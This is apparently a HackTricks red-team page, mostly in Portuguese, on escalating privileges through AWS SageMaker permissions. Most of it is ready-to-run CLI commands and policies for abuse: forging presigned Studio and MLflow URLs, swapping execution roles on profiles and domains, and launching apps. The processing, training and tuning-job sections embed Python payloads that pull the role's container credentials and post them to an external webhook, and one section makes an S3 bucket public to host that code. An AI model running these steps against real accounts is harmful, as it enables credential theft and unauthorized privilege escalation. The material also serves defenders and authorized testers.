AWS - Sagemaker Privesc

Reading time: 15 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

AWS - Sagemaker Privesc

iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

Comece a criar um notebook com a IAM Role anexada a ele:

bash
aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

A resposta deve conter o campo NotebookInstanceArn, que conterá o ARN da instância de notebook recém-criada. Em seguida, podemos usar a API create-presigned-notebook-instance-url para gerar uma URL que podemos usar para acessar a instância de notebook assim que ela estiver pronta:

bash
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>

Navegue até a URL com o navegador e clique em `Open JupyterLab`` no canto superior direito, então role para baixo até a aba “Launcher” e, na seção “Other”, clique no botão “Terminal”.

Agora é possível acessar as credenciais de metadados do IAM Role.

Impacto Potencial: Privesc para o sagemaker service role especificado.

sagemaker:CreatePresignedNotebookInstanceUrl

Se houver Jupyter notebooks já em execução nele e você puder listá-los com sagemaker:ListNotebookInstances (ou descobri-los de qualquer outra forma). Você pode gerar uma URL para eles, acessá-los e roubar as credenciais conforme indicado na técnica anterior.

bash
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

Impacto Potencial: Privesc para a função de serviço do sagemaker anexada.

sagemaker:CreatePresignedDomainUrl

warning

Este ataque só funciona em domínios antigos tradicionais do SageMaker Studio, não naqueles criados pelo SageMaker Unified Studio. Domínios do Unified Studio retornarão o erro: "This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal".

Uma identidade com permissão para chamar sagemaker:CreatePresignedDomainUrl em um UserProfile alvo do Studio pode gerar uma URL de login que autentica diretamente no SageMaker Studio como esse perfil. Isso concede ao navegador do atacante uma sessão do Studio que herda as permissões do ExecutionRole do perfil e acesso completo à home e aos apps do perfil armazenados em EFS. Nenhum iam:PassRole ou acesso ao console é necessário.

Requisitos:

  • Um Domain do SageMaker Studio e um UserProfile alvo dentro dele.
  • A entidade atacante precisa de sagemaker:CreatePresignedDomainUrl no UserProfile alvo (nível‑de‑recurso) ou *.

Exemplo mínimo de política (escopada a um UserProfile):

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sagemaker:CreatePresignedDomainUrl",
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
}
]
}

Etapas de Abuso:

  1. Enumerar um Studio Domain e UserProfiles que você pode direcionar
bash
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
aws sagemaker list-user-profiles --domain-id-equals $DOM
TARGET_USER=<UserProfileName>
  1. Verifique se unified studio não está sendo usado (attack só funciona em domínios tradicionais do SageMaker Studio)
bash
aws sagemaker describe-domain --domain-id <DOMAIN_ID> --query 'DomainSettings'
# If you get info about unified studio, this attack won't work
  1. Gerar uma URL pré-assinada (válida ~5 minutos por padrão)
bash
aws sagemaker create-presigned-domain-url \
--domain-id $DOM \
--user-profile-name $TARGET_USER \
--query AuthorizedUrl --output text
  1. Abra a URL retornada em um navegador para fazer login no Studio como o usuário alvo. Em um terminal Jupyter dentro do Studio verifique a identidade efetiva ou exfiltrate o token:
bash
aws sts get-caller-identity

Notas:

  • --landing-uri pode ser omitido. Alguns valores (por exemplo, app:JupyterLab:/lab) podem ser rejeitados dependendo da flavor/version do Studio; os padrões normalmente redirecionam para a página inicial do Studio e depois para o Jupyter.
  • Políticas da organização/restrições de VPC endpoint ainda podem bloquear o acesso de rede; o token minting não requer console sign‑in nem iam:PassRole.

Potential Impact: Movimento lateral e privilege escalation ao assumir qualquer Studio UserProfile cujo ARN seja permitido, herdando seu ExecutionRole e filesystem/apps.

sagemaker:CreatePresignedMlflowTrackingServerUrl, sagemaker-mlflow:AccessUI, sagemaker-mlflow:SearchExperiments

Uma identidade com permissão para chamar sagemaker:CreatePresignedMlflowTrackingServerUrl (e sagemaker-mlflow:AccessUI, sagemaker-mlflow:SearchExperiments para acesso posterior) para um SageMaker MLflow Tracking Server alvo pode gerar uma presigned URL de uso único que autentica diretamente na MLflow UI gerenciada desse servidor. Isso concede o mesmo acesso que um usuário legítimo teria ao servidor (visualizar/criar experimentos e execuções, e baixar/enviar artefatos no S3 artifact store do servidor).

Requirements:

  • Um SageMaker MLflow Tracking Server na conta/região e o seu nome.
  • A entidade atacante precisa de sagemaker:CreatePresignedMlflowTrackingServerUrl no recurso do MLflow Tracking Server alvo (ou *).

Abuse Steps:

  1. Enumere os MLflow Tracking Servers que você pode atingir e escolha um nome
bash
aws sagemaker list-mlflow-tracking-servers \
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
TS_NAME=<tracking-server-name>
  1. Gerar uma URL pré-assinada da UI do MLflow (válida por um curto período)
bash
aws sagemaker create-presigned-mlflow-tracking-server-url \
--tracking-server-name "$TS_NAME" \
--query AuthorizedUrl --output text
  1. Abra a URL retornada em um navegador para acessar o MLflow UI como um usuário autenticado daquele Tracking Server.

Impacto Potencial: Acesso direto ao MLflow UI gerenciado do Tracking Server alvo, permitindo visualizar e modificar experimentos/execuções e recuperar ou enviar artefatos armazenados no S3 artifact store configurado do servidor, dentro das permissões aplicadas pela configuração do servidor.

sagemaker:CreateProcessingJob, iam:PassRole

Um atacante com essas permissões pode fazer com que o SageMaker execute um processing job com uma SageMaker role anexada a ele. Reutilizando um dos AWS Deep Learning Containers que já inclui Python (e executando o job na mesma região que o URI), você pode executar código inline sem construir imagens próprias:

bash
REGION=<region>
ROLE_ARN=<sagemaker-arn-role>
IMAGE=683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3
ENV='{"W":"https://example.com/webhook"}'

aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig":{"InstanceCount":1,"InstanceType":"ml.t3.medium","VolumeSizeInGB":50}}' \
--app-specification "{\"ImageUri\":\"$IMAGE\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--environment "$ENV" \
--role-arn $ROLE_ARN

# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.

Potential Impact: Privesc para o sagemaker service role especificado.

sagemaker:CreateTrainingJob, iam:PassRole

Um atacante com essas permissões pode iniciar um training job que executa código arbitrário com o role indicado. Usando um contêiner oficial do SageMaker e sobrescrevendo o entrypoint com um payload inline, você não precisa construir imagens próprias:

bash
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
ENV='{"W":"https://example.com/webhook"}'
OUTPUT_S3=s3://<existing-bucket>/training-output/
# El rol debe poder leer imágenes de ECR (p.e. AmazonEC2ContainerRegistryReadOnly) y escribir en OUTPUT_S3.

aws sagemaker create-training-job \
--training-job-name privesc-train \
--role-arn $ROLE_ARN \
--algorithm-specification "{\"TrainingImage\":\"$IMAGE\",\"TrainingInputMode\":\"File\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--output-data-config "{\"S3OutputPath\":\"$OUTPUT_S3\"}" \
--resource-config '{"InstanceCount":1,"InstanceType":"ml.m5.large","VolumeSizeInGB":50}' \
--stopping-condition '{"MaxRuntimeInSeconds":600}' \
--environment "$ENV"

# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.

Impacto potencial: Privesc para o SageMaker service role especificado.

sagemaker:CreateHyperParameterTuningJob, iam:PassRole

Um atacante com essas permissões pode iniciar um HyperParameter Tuning Job que executa código controlado pelo atacante sob a role fornecida. O modo script requer hospedar o payload no S3, mas todos os passos podem ser automatizados via CLI:

bash
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
BUCKET=sm-hpo-privesc-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION

# Allow public reads so any SageMaker role can pull the code
aws s3api put-public-access-block \
--bucket $BUCKET \
--public-access-block-configuration '{
"BlockPublicAcls": false,
"IgnorePublicAcls": false,
"BlockPublicPolicy": false,
"RestrictPublicBuckets": false
}'

aws s3api put-bucket-policy --bucket $BUCKET --policy "{
\"Version\": \"2012-10-17\",
\"Statement\": [
{
\"Effect\": \"Allow\",
\"Principal\": \"*\",
\"Action\": \"s3:GetObject\",
\"Resource\": \"arn:aws:s3:::$BUCKET/*\"
}
]
}"

cat <<'EOF' > /tmp/train.py
import os, time, urllib.request

def main():
meta = os.environ.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI")
if not meta:
return
creds = urllib.request.urlopen(f"http://169.254.170.2{meta}").read()
req = urllib.request.Request(
"https://example.com/webhook",
data=creds,
headers={"Content-Type": "application/json"}
)
urllib.request.urlopen(req)
print("train:loss=0")
time.sleep(300)

if __name__ == "__main__":
main()
EOF

cd /tmp
tar -czf code.tar.gz train.py
aws s3 cp code.tar.gz s3://$BUCKET/code/train-code.tar.gz --region $REGION --acl public-read

echo "dummy" > /tmp/input.txt
aws s3 cp /tmp/input.txt s3://$BUCKET/input/dummy.txt --region $REGION --acl public-read

IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
CODE_S3=s3://$BUCKET/code/train-code.tar.gz
TRAIN_INPUT_S3=s3://$BUCKET/input
OUTPUT_S3=s3://$BUCKET/output
# El rol necesita permisos ECR y escritura en el bucket.

cat > /tmp/hpo-definition.json <<EOF
{
"AlgorithmSpecification": {
"TrainingImage": "$IMAGE",
"TrainingInputMode": "File",
"MetricDefinitions": [{"Name": "train:loss", "Regex": "train:loss=([0-9.]+)"}]
},
"StaticHyperParameters": {
"sagemaker_program": "train.py",
"sagemaker_submit_directory": "$CODE_S3"
},
"RoleArn": "$ROLE_ARN",
"InputDataConfig": [
{
"ChannelName": "training",
"DataSource": {
"S3DataSource": {
"S3DataType": "S3Prefix",
"S3Uri": "$TRAIN_INPUT_S3",
"S3DataDistributionType": "FullyReplicated"
}
}
}
],
"OutputDataConfig": {
"S3OutputPath": "$OUTPUT_S3"
},
"ResourceConfig": {
"InstanceType": "ml.m5.large",
"InstanceCount": 1,
"VolumeSizeInGB": 50
},
"StoppingCondition": {
"MaxRuntimeInSeconds": 600
}
}
EOF

aws sagemaker create-hyper-parameter-tuning-job \
--hyper-parameter-tuning-job-name privesc-hpo \
--hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \
--training-job-definition file:///tmp/hpo-definition.json

Cada entrenamiento lanzado por el proceso imprime la métrica y exfiltra las credenciales del rol indicado.

sagemaker:UpdateUserProfile, iam:PassRole, sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)

Com a permissão para atualizar um SageMaker Studio perfil de usuário, criar um app, uma presigned URL para o app e iam:PassRole, um atacante pode definir o ExecutionRole para qualquer role do IAM que o principal de serviço do SageMaker possa assumir. Novos apps do Studio iniciados para esse perfil serão executados com a role trocada, concedendo permissões elevadas interativas via terminais Jupyter ou jobs iniciados a partir do Studio.

warning

This attack requires that there are no applications in the profile or the app creation will fail with an error similar to: An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again. If there is any app you will need sagemaker:DeleteApp permission to delete them first.

Etapas:

bash
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>

# 3) Update the Studio profile to use the new role (no iam:PassRole)
aws sagemaker update-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--user-settings ExecutionRole=$ROLE_ARN

aws sagemaker describe-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query 'UserSettings.ExecutionRole' --output text

# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>

# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>

# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>


# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text

# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity
#    (should show the high-privilege role from domain defaults)

Impacto Potencial: Escalonamento de privilégios para as permissões do ExecutionRole especificado do SageMaker para sessões interativas do Studio.

sagemaker:UpdateDomain, sagemaker:CreateApp, iam:PassRole, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)

Com permissões para atualizar um SageMaker Studio Domain, criar um app, gerar uma presigned URL para o app e iam:PassRole, um atacante pode definir o ExecutionRole padrão do domain para qualquer IAM role que o SageMaker service principal possa assumir. Novos Studio apps lançados para esse profile irão executar com a role trocada, concedendo permissões elevadas interativas via terminais Jupyter ou jobs iniciados a partir do Studio.

warning

Este ataque requer que não existam aplicações no domain ou a criação do app falhará com o erro: An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.

Passos:

bash
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>

# 3) Change the domain default so every profile inherits the new role
aws sagemaker update-domain \
--domain-id <DOMAIN_ID> \
--default-user-settings ExecutionRole=$ROLE_ARN

aws sagemaker describe-domain \
--domain-id <DOMAIN_ID> \
--query 'DefaultUserSettings.ExecutionRole' --output text

# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>

# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>

# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--app-type JupyterServer \
--app-name js-domain-escalated

# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text

# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity
#    (should show the high-privilege role from domain defaults)

Impacto Potencial: Escalada de privilégios para as permissões do papel de execução especificado do SageMaker para sessões interativas do Studio.

sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl

Um atacante com permissão para criar um app do SageMaker Studio para um UserProfile alvo pode lançar um app JupyterServer que executa com o ExecutionRole do UserProfile. Isso fornece acesso interativo às permissões do role via terminais do Jupyter ou jobs iniciados a partir do Studio.

Passos:

bash
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# 3) Create a JupyterServer app for the user profile
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name js-privesc

# 4) Generate a presigned URL to access Studio
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text

# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity

Impacto Potencial: Acesso interativo à função de execução do SageMaker anexada ao UserProfile alvo.

iam:GetUser, datazone:CreateUserProfile

Um atacante com essas permissões pode conceder a um usuário IAM acesso a um Sagemaker Unified Studio Domain criando um DataZone User Profile para esse usuário.

bash
# List domains
aws datazone list-domains --region us-east-1 \
--query "items[].{Id:id,Name:name}" \
--output json

# Add IAM user as a user of the domain
aws datazone create-user-profile \
--region us-east-1 \
--domain-identifier <domain-id> \
--user-identifier <arn-user> \
--user-type IAM_USER

A URL do Unified Domain tem o seguinte formato: https://<domain-id>.sagemaker.<region>.on.aws/ (e.g. https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/).

Impacto Potencial: Acesso ao Sagemaker Unified Studio Domain por um usuário, permitindo acessar todos os recursos dentro do domínio Sagemaker e até escalar privilégios para a role que os notebooks dentro do Sagemaker Unified Studio Domain estão usando.

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks